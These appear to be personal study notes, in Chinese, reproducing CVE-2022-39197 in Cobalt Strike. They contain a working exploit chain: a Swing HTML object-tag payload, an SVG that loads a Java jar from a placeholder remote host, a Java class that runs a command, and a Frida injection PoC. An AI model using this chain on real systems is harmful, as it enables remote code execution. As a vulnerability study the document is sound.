CVE-2022-39197学习笔记

前言

该漏洞存在于Cobalt Strike的Beacon软件中,一个 XSS漏洞,允许远程攻击者在 Cobalt Strike 团队服务器上执行 HTML,并实现rce。

漏洞起点

Cobalt Strike 接口建立在 Java Swing 框架之上。该框架为开发人员提供了用于 Java 程序的图形用户界面。

根据官方文档 所描述,在开头插入<html>标签后续的内容就会被格式化为html文档进行解析,也就是说支持html标签

image-20221030214448317

测试demo:

import javax.swing.*;
public class test {

    private static void createAndShowGUI() {
        JFrame.setDefaultLookAndFeelDecorated(true);
        JFrame frame = new JFrame("asdfas");
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);


        JLabel label = new JLabel("<html><img src=xxxxx><h1>Hello world</h1>");
        frame.getContentPane().add(label);
        frame.pack();
        frame.setVisible(true);
    }

    public static void main(String[] args) {
        javax.swing.SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                createAndShowGUI();
            }
        });
    }
}

image-20221030214752682

从demo运行结果可以看出html代码被解析执行,这就是整个漏洞的关键点,也是起点

大佬文章指引

根据漂亮鼠大佬文章 分析的,<object 标签能够实现rce,payload大概长这个样

<html> <object classid="A"> <param name="my_name" value="Rio"></object>

解析器将尝试创建A类的实例,检查该类是否是java.awt.Component的子类,并为my_name 参数调用 setXXXX 方法。

总的来说要满足以下条件

  1. classid传入需要实例化的类,类必须继承与Component
  2. 必须有无参构造方法,貌似是因为newinstant是调用的无参构造方法
  3. 必须存在一个setXXX方法的XXX属性
  4. setXXX方法的传参数必须是接受一个string类型的参数

寻找rce链子

手动寻找满足以上标准的类绝非易事,利用java反射,能够快速找出满足条件的所有类

ps: java几乎0基础,花了好久才整出这个脚本

import java.awt.*;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Enumeration;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
public class load_jar {

    public static void getJarName(String jarFile) throws Exception {
        int flag=1;
        int flag2 = 0;
        try{
            //通过将给定路径名字符串转换为抽象路径名来创建一个新File实例
            File f = new File(jarFile);
            URL url1 = f.toURI().toURL();
            URLClassLoader myClassLoader = new URLClassLoader(new URL[]{url1},Thread.currentThread().getContextClassLoader());
            //通过jarFile和JarEntry得到所有的类
            JarFile jar = new JarFile(jarFile);
            //返回zip文件条目的枚举
            Enumeration<JarEntry> enumFiles = jar.entries();
            JarEntry entry;

            while(enumFiles.hasMoreElements())
            {
                entry = (JarEntry)enumFiles.nextElement();
                if(entry.getName().indexOf("META-INF")<0)
                {
                    String classFullName = entry.getName();
                    if(classFullName.endsWith(".class"))
                    {
                        String className = classFullName.substring(0,classFullName.length()-6).replace("/", ".");
                        try{

                            flag+=1;
                            Class<?> clazz = myClassLoader.loadClass(className);
                            Method[] methods = clazz.getMethods();
                            for (Method method : methods)
                            {
                                String methodName = method.getName();
                                if (methodName.contains("set")){
                                    Class<?>[] parameterTypes = method.getParameterTypes();
                                    if (parameterTypes.length == 1){
                                        for (Class<?> clas : parameterTypes)
                                        {
                                            String parameterName = clas.getSimpleName();
                                            if (parameterName.contains("String")){

                                                try {
                                                    Object o = clazz.newInstance();
                                                    if (o instanceof Component){
                                                        System.out.println("-------------"+flag2+"-------------");
                                                        flag2 = flag2 + 1;
                                                        System.out.println("classname:" + className);
                                                        System.out.println("methodname:" + methodName);
                                                        System.out.println("parameterName:" + parameterName);
                                                    }
                                                }catch (Exception e){
                                                    continue;
                                                }

                                            }
                                        }
                                    }

                                }

                            }

                        }
                        catch (IllegalAccessError a)
                        {
                            continue;
                        }
                        catch (NoClassDefFoundError b)
                        {
                            continue;
                        }
                    }
                }
            }

        } catch(IOException e){
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws Exception {
        getJarName("cobaltstrike.jar");

    }

}

image-20221101105557916

用这个脚本成功找到cobaltstrike.jar中满足所有条件的类,一共找到132个,但是有很多都是重复的,除去重复的也就十几个,可以一个一个的分析,看看哪个可以rce

最终找到setURL()

image-20221101124946165

函数调用了loadSVGDocument(),这个函数是用于解析SVG文件的,并且SVG 文件是允许用户插入 JavaScrip代码的

    public void loadSVGDocument(String url) {
        String oldURI = null;
        if (this.svgDocument != null) {
            oldURI = this.svgDocument.getURL();
        }
        final ParsedURL newURI = new ParsedURL(oldURI, url);
        stopThenRun(new Runnable() { // from class: org.apache.batik.swing.svg.JSVGComponent.1
            @Override // java.lang.Runnable
            public void run() {
                String url2 = newURI.toString();
                JSVGComponent.this.fragmentIdentifier = newURI.getRef();
                JSVGComponent.this.loader = new DocumentLoader(JSVGComponent.this.userAgent);
                JSVGComponent.this.nextDocumentLoader = new SVGDocumentLoader(url2, JSVGComponent.this.loader);
                JSVGComponent.this.nextDocumentLoader.setPriority(1);
                for (Object svgDocumentLoaderListener : JSVGComponent.this.svgDocumentLoaderListeners) {
                    JSVGComponent.this.nextDocumentLoader.addSVGDocumentLoaderListener((SVGDocumentLoaderListener) svgDocumentLoaderListener);
                }
                JSVGComponent.this.startDocumentLoader();
            }
        });
    }

利用SVG执行恶意代码

SVG 是用于二维图形的基于XML的矢量图像格式,并支持交互性和动画

svg文件示例:

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>

SVG XSS

SVG文件还支持嵌入式javascript代码,利用这点,可以构造xss payload

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert("1");
  </script>
</svg>

注意: 上传时,注意内容类型设置为:Content-Type: image/svg+xml

SVG XXE

前面说了 SVG 是基于 XML 的矢量图,因此可以支持 Entity (实体) 功能,因此可以用来 XXE,具体利用参考https://my.oschina.net/hetianlab/blog/4723160

SVG执行java代码

首先写个命令执行的而已java代码

import org.w3c.dom.events.Event;
import org.w3c.dom.events.EventListener;

import org.w3c.dom.svg.EventListenerInitializer;
import org.w3c.dom.svg.SVGDocument;
import org.w3c.dom.svg.SVGSVGElement;

import java.util.*;
import java.io.*;

public class Exploit implements EventListenerInitializer {
    public Exploit() {
    }
    public void initializeEventListeners(SVGDocument document) {
        SVGSVGElement root = document.getRootElement();
        EventListener listener = new EventListener() {
            public void handleEvent(Event event) {
                try {
                    Process p = Runtime.getRuntime().exec("calc");
                } catch (Exception e) {}
            }
        };
        root.addEventListener("SVGLoad", listener, false);
    }

}

MANIFEST.MF文件

Manifest-Version: 1.0
SVG-Handler-Class: Exploit

然后将恶意java代码打包成jar文件

下一步就是准备SVG文件,

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0">
    <script type="application/java-archive" xlink:href="http://xxx.xxx.xxx.xxx/EvilJar-1.0-jar-with-dependencies.jar"/>
    <text>CVE-2022-39197</text>
</svg>

注意:SVG的默认安全策略是在 JAR 与 SVG 文件具有相同来源时才会执行 Java 代码

RCE复现

经过上面的折腾,得到最终的payload:

<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='payload'></param></object>

网上找到的POC

import frida
import time
import sys


def processInject(target, url):
    print('[+] Spawning target process')

    pid = frida.spawn(target)
    session = frida.attach(pid)

    frida_script = '''  
    var payload="<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='USER_PAYLOAD'></param></object>"  
    var pProcess32Next = Module.findExportByName("kernel32.dll", "Process32Next")

    Interceptor.attach(pProcess32Next, {
        onEnter: function(args) {
            this.pPROCESSENTRY32 = args[1];
            if(Process.arch == "ia32"){
                this.exeOffset = 36;
            }else{
                this.exeOffset = 44;
            }
            this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
        },
        onLeave: function(retval) {
            if(this.szExeFile.readAnsiString() == "beacon.exe") {
                send("[!] Found beacon, injecting payload");
                this.szExeFile.writeAnsiString(payload);
            }
        }
    })
    '''.replace("USER_PAYLOAD", url)

    script = session.create_script(frida_script)
    script.load()
    frida.resume(pid)
    # make sure payload is triggered on client
    print("[+] Waiting for 100 seconds")
    time.sleep(100)
    frida.kill(pid)
    print('[+] Done! Killed beacon process.')
    exit(0)


if __name__ == '__main__':
    if len(sys.argv) == 3:
        processInject(sys.argv[1], sys.argv[2])
    else:
        print("[-] Incorrect Usage!\n\nExample: python3 {} beacon.exe http://10.10.10.2:8080/evil.svg".format(sys.argv[0]))

将SVG文件和jar文件放到服务器上,修改SVG中的xlink:href为jar链接

image-20221101114517102

然后用poc模拟上线,beacon.exe是木马文件

python3 cve-2022-39197.py beacon.exe http://xxx.xxx.xxx.xxx/evil.svg

image-20221101120607766

image-20221101120517468

点开进程列表,随便点点,成功弹出计算机

image-20221101121636153

总结

这个漏洞号称是脚本小子杀手,蓝队快乐洞。在复现这个漏洞的过程中,很折磨,也很享受,让我学习到关于Swing和SVG的知识,也是我接触java安全的第一步,后面会继续学习java安全